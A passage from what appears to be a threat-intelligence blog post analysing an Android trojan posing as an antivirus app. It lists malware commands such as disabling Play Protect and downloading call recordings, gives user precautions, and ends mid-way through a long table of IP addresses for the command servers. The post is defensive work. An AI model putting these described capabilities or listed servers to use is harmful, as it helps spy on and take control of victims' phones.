<li><code>DISABLE_PLAY_PROTECT</code> — disable a global setting in Android (<code>Settings.Global.PACKAGE_VERIFIER_ENABLE</code>) that controls the verification of apps before they are installed</li>
</ul>
<p>In addition, a number of strings (for example, IP addresses, names of some commands) are encrypted using the XOR algorithm to complicate analysis.</p>
<figure class="wp-block-image"><img width="923" height="361" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_627@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_627@28-09-2026_15-29-43.jpg 923w, https://ptesc.tech/wp-content/uploads/2026/09/photo_627@28-09-2026_15-29-43-300x117.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_627@28-09-2026_15-29-43-768x300.jpg 768w" sizes="auto, (max-width: 923px) 100vw, 923px" /><figcaption>String encryption</figcaption></figure>
<figure class="wp-block-image"><img width="969" height="651" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_628@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_628@28-09-2026_15-29-43.jpg 969w, https://ptesc.tech/wp-content/uploads/2026/09/photo_628@28-09-2026_15-29-43-300x202.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_628@28-09-2026_15-29-43-768x516.jpg 768w" sizes="auto, (max-width: 969px) 100vw, 969px" /><figcaption>Implementation of the DOWNLOAD_CALL_RECORDING command</figcaption></figure>
<figure class="wp-block-image"><img width="805" height="182" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_629@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_629@28-09-2026_15-29-43.jpg 805w, https://ptesc.tech/wp-content/uploads/2026/09/photo_629@28-09-2026_15-29-43-300x68.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_629@28-09-2026_15-29-43-768x174.jpg 768w" sizes="auto, (max-width: 805px) 100vw, 805px" /><figcaption>Implementation of the DISABLE_PLAY_PROTECT command</figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="460" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_630@28-09-2026_15-29-43-1024x460.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_630@28-09-2026_15-29-43-1024x460.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_630@28-09-2026_15-29-43-300x135.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_630@28-09-2026_15-29-43-768x345.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_630@28-09-2026_15-29-43.jpg 1059w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Implementation of the REVIVE_PERMISSIONS command</figcaption></figure>
<figure class="wp-block-image"><img width="752" height="488" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_631@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_631@28-09-2026_15-29-43.jpg 752w, https://ptesc.tech/wp-content/uploads/2026/09/photo_631@28-09-2026_15-29-43-300x195.jpg 300w" sizes="auto, (max-width: 752px) 100vw, 752px" /><figcaption>Implementation of the GET_SCREEN_TREE command</figcaption></figure>
<figure class="wp-block-image"><img width="825" height="684" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_632@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_632@28-09-2026_15-29-43.jpg 825w, https://ptesc.tech/wp-content/uploads/2026/09/photo_632@28-09-2026_15-29-43-300x249.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_632@28-09-2026_15-29-43-768x637.jpg 768w" sizes="auto, (max-width: 825px) 100vw, 825px" /><figcaption>Implementation of the RESET_REBOOT command</figcaption></figure>
<figure class="wp-block-image"><img width="747" height="287" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_633@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_633@28-09-2026_15-29-43.jpg 747w, https://ptesc.tech/wp-content/uploads/2026/09/photo_633@28-09-2026_15-29-43-300x115.jpg 300w" sizes="auto, (max-width: 747px) 100vw, 747px" /><figcaption>Example implementation of PERFORM_SWIPE</figcaption></figure>
<p>Malware demonstrates a persistent trend toward evolution: from simple espionage to comprehensive device control with anti-detection elements, scalable infrastructure, and advanced social engineering techniques. This requires users and security professionals to constantly raise their level of protection and vigilance.</p>
<h2>Precautions:</h2>
<ul>
<li>You should not download open-source applications from unknown sources, as they can easily be modified. It is better to download them from <a href="https://play.google.com/store/apps/details?id=com.goodwy.dialer" rel="noopener" target="_blank">Google Play</a> or get the latest release from the <a href="https://github.com/Goodwy/Dialer" rel="noopener" target="_blank">developer&#8217;s page</a>.</li>
<li>Do not grant applications permissions they do not need (especially the <code>Accessibility Service</code> permission).</li>
<li>If you suspect malware infection, check the list of installed applications or use activity monitoring tools.</li>
</ul>
<p><strong>File indicators</strong></p>
<table>
<tr>
<th style="text-align:center">Name</th>
<th style="text-align:center">Hash</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td style="text-align:center">Антивирус ФСБ.apk</td>
<td style="text-align:center"><code>5c2cbb7cad7d8d4e6dc36c9a35a1c589</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/891fca3b-4147-44ff-b3e6-971328108123" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<p><strong>Network indicators</strong></p>
<table>
<tr>
<th style="text-align:center">IP</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td style="text-align:center"><code>2.56.179.190</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2cafeb3e-2bcc-4b8f-96ac-cb9d502f3091" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>2.59.183.215</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/bc1a83d2-3b29-4bb3-a4bb-be0f1227dd53" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>5.45.93.167</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0e1cb322-c983-4a00-9157-4279a65c4caa" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>5.101.88.37</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/84ef357d-6ab2-449c-b4a9-52e28f3958ba" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>5.101.88.39</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5f3a4463-2398-46b3-805c-b7e2384dadb2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>5.101.88.41</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/1f786dee-d04a-4f99-8a18-d7dc3663ec48" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>31.172.75.46</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/8a4623e7-da82-47f0-84da-d2c8fdc693" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>31.192.237.132</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3046b229-3bb6-4fa4-8bcc-615cfe842acf" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>31.214.157.53</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/d15a7260-f2e0-4dc8-badb-20bd71c5f257" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>37.10.71.100</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a7c5e6cc-3fac-458f-94d3-1002bee01cf0" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>38.180.3.187</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b262c837-2070-42ff-9ff3-695432a93f1c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>38.180.87.241</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f2da26ab-1e0e-46f3-be4d-61e570e873ac" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>38.180.144.105</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b1bd9099-a2d3-4c76-90f1-9a39c7f0bbad" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>38.244.208.134</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/61bb9725-dd6a-4b13-a022-e2e1fd026e93" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.8.145.60</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/1e254ac0-3c24-42a2-b325-9fbeccf4fe89" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.8.228.204</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/32c2408c-13a5-4255-91e3-24d3cb362a13" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.8.230.157</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/174c3081-6759-447a-a606-f1fb850373d8" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.10.246.197</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c9e459f9-8fdd-4642-8316-5a2086624eec" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.12.111.27</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0c7beee1-1f44-480e-9500-139294619645" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.15.126.252</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b12144ad-e99b-4225-8a46-61b227a138fd" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.67.35.58</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e20adc9d-3287-404b-82ac-fdd954fb45b9" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.67.231.139</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/8d01ff09-00b5-44cf-85fa-2671f8cd9903" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.67.231.215</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/922ebedb-efcd-4503-adcd-37f8aa5e4f17" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.82.255.173</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/fbc699b5-4b94-4514-91e4-4fa23a3bcc86" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.85.93.206</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0810c649-cca5-44e7-b5a0-c247cfade8c4" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.89.52.163</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2ef95897-7820-4e30-aa4a-f9659d414633" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.89.111.233</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3012ef2f-2f68-4a2d-aeef-3e0063c24fa6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.129.242.236</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/d1cf0ff3-eb99-48be-b19e-23258958e665" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.135.164.207</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f8903424-cd11-49d0-a0a9-364be89fcca4" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.142.36.207</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e7c7181c-9a92-4619-9fb1-66e2301b9148" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.150.64.118</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a3312fa6-08a8-47f3-af11-a4c087eafb48" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.150.64.131</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/33de5be9-7ba0-4c84-9c48-9e8f14fe8eac" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.155.249.165</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ff3662ae-a3c9-4ba8-8de4-691fcc2c76c9" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.159.248.127</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b0126dfb-c955-455e-a73d-ffc55e6f733b" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.159.248.251</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7aa008f9-6dde-4e59-859c-75f19ae37957" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>45.197.133.82</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b04def4f-b9fe-4a5c-89b5-d2a7612e42cb" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>46.28.70.26</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0a771f19-09cf-4656-95ab-ecdb58d5ba02" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>46.28.70.244</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/17e5f241-c2df-4213-ab0e-84c265fdc693" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.25</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f3627c6a-ab11-4682-a892-35374a883bf3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.33</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/72078baa-d9a1-48c7-8928-eb3cecb69f67" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.74</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c6573500-6cfd-459e-a1e1-868261d19de7" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.87</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/44568572-22d7-4800-8d92-cb7644825be3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.151</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/484ebfd0-77ff-4939-abf3-7281dd1ba5fc" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.189</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ca69b0a8-0306-4011-a882-f7a646074781" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.192.174.219</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a449a57e-0add-42d4-9b21-34ef505a51a4" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>62.233.57.162</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/6e50eeb4-d2f7-49cd-b688-77d465637daf" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>79.132.130.73</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5719aa06-1be8-4f29-8a08-2fc9a5d21b04" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>81.22.132.87</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/d71d49c9-d42b-4ac2-9172-67f3e62aba4c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>83.217.210.129</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/663d7f6f-05dd-4bee-937c-c4522c8f2b9c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>83.217.210.163</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/42702054-deb5-480c-814b-0808c03cb19c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>85.208.110.57</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/dc749816-9889-4b2e-be1f-541958d7a82c" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>85.208.208.123</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/00a5116e-f232-44c8-8213-8888888aed1b" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>85.209.153.229</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2867c968-be1e-4f1f-99c8-cc13ff08e02a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>85.239.53.5</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7bc5f1f0-7e4b-4b0a-9194-768f65cf6a84" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>86.104.75.160</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/9f593ec2-d394-45f5-9cea-3db20312b661" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>88.218.93.20</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0f8a8c37-cbc8-485f-bf91-665d8faec0d3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>89.42.142.240</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/209c48a9-229e-464e-8b93-fe6c4fab7684" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>89.124.114.178</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/834a2093-3807-4173-969c-d7e5ffdbe175" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>89.127.206.241</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/9275a654-cc8e-4bb9-9b58-5b5d729fbbd0" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>92.118.230.34</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ac3c1085-b06c-4628-b5a2-34d9e9049219" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>93.183.92.96</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e1be4332-0fea-4f37-aeb7-a36ffeda41c1" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.130.255.130</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3999ecc6-1240-4b29-a5ac-744d1eb2b92a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.130.255.132</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/db3f1d4d-519e-431f-a823-fc56747d25a7" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.130.255.151</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/fd099f79-d1e5-4844-a7a7-4da89d33a347" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.131.100.138</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/350f2ccd-aa35-494a-a1c1-b63af4b38802" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.131.111.91</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/0b0f39f2-4ba0-4f99-aa76-418497adacf9" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.131.118.221</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/bfe6299f-7bf6-4214-8f7e-8327ab033e22" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.131.120.179</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c386dfee-8e09-415f-b877-fff3ec39db14" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>94.131.122.189</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/56ec2eb6-ff91-4a5f-8ea4-0f602ed669b3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>95.164.86.41</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/254b4cb1-98c2-4e2a-8206-113eddfe451e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>95.216.232.141</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/aab05bde-0e67-4042-b7e4-1699b1471746" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>103.213.249.128</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/48f44458-e6b8-4e99-ab4a-5807effdd365" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>109.172.31.68</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a97769ae-13fe-4dea-8b07-1399e670aec6" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>135.181.14.151</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a1592243-41f9-45a9-b9a2-e648b762feb3" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>136.243.118.134</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/bafe5944-ccb5-41ad-8485-7c5a7fe7bae2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>144.76.48.41</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3f82c801-794e-496c-9d50-4cf13b209d66" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>148.251.240.89</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/19b3e5a8-1ac8-4ff5-a0a8-e3c2a850b975" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>157.90.14.184</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/239a2d5b-9353-4391-af5f-7141de3ef10e" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>157.90.14.191</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/8ff94a9a-756b-4f16-a126-ebc6688cd5ba" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>159.69.228.231</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a76fae87-d306-490e-baaf-b2a7022d40f0" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>170.168.15.160</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/f9e47ab6-b53c-4ae9-88d1-babc1931c9de" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>176.120.67.190</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/4935d0f1-eafb-4072-ba8f-cb8a6c620e9a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>176.124.222.67</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/203dbaee-6a7f-466a-a2d9-e9e20d0ea565" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>176.124.222.69</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ea374a34-ed87-49b0-b82f-4bf846688002" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.68.21.191</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/1f22da70-dba6-4a3d-b55f-d667fed741b8" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.113.139.34</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/81742e63-73b3-4623-96a9-3e1385ee940d" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.113.139.67</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b3a62dfb-0604-49c3-b3eb-3168ca098142" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.113.139.143</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/a3621be6-b21f-4f0f-9086-6f5e98be1af2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.240.103.235</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/2e614626-dbfc-41cb-94b6-8c2ca74124a1" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.246.220.35</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/1f9a1039-08c9-4c69-99b8-01389fa2da31" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.255.178.18</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/63608d20-d714-4ceb-9c16-19f3e9555e4f" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>185.255.178.223</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/b5305265-0e9c-4a76-9e39-bde0ee9d230a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>188.40.171.83</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/7fd4d08e-0a77-4eb0-9588-85a50cdc22a5" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>193.108.114.13</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c93c646d-e2d1-4fe1-9787-ea971c2ee4c9" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>193.124.118.189</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/d535957b-4e30-4888-a83e-b3c473d12842" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>193.233.88.253</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/5d4660b0-23a3-45d4-b126-3b05bf80a13d" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>194.87.210.125</code></td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/371703d1-9f82-4441-856b-f4fe2e16a9cd" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td style="text-align:center"><code>194.154.24.88</code></td>
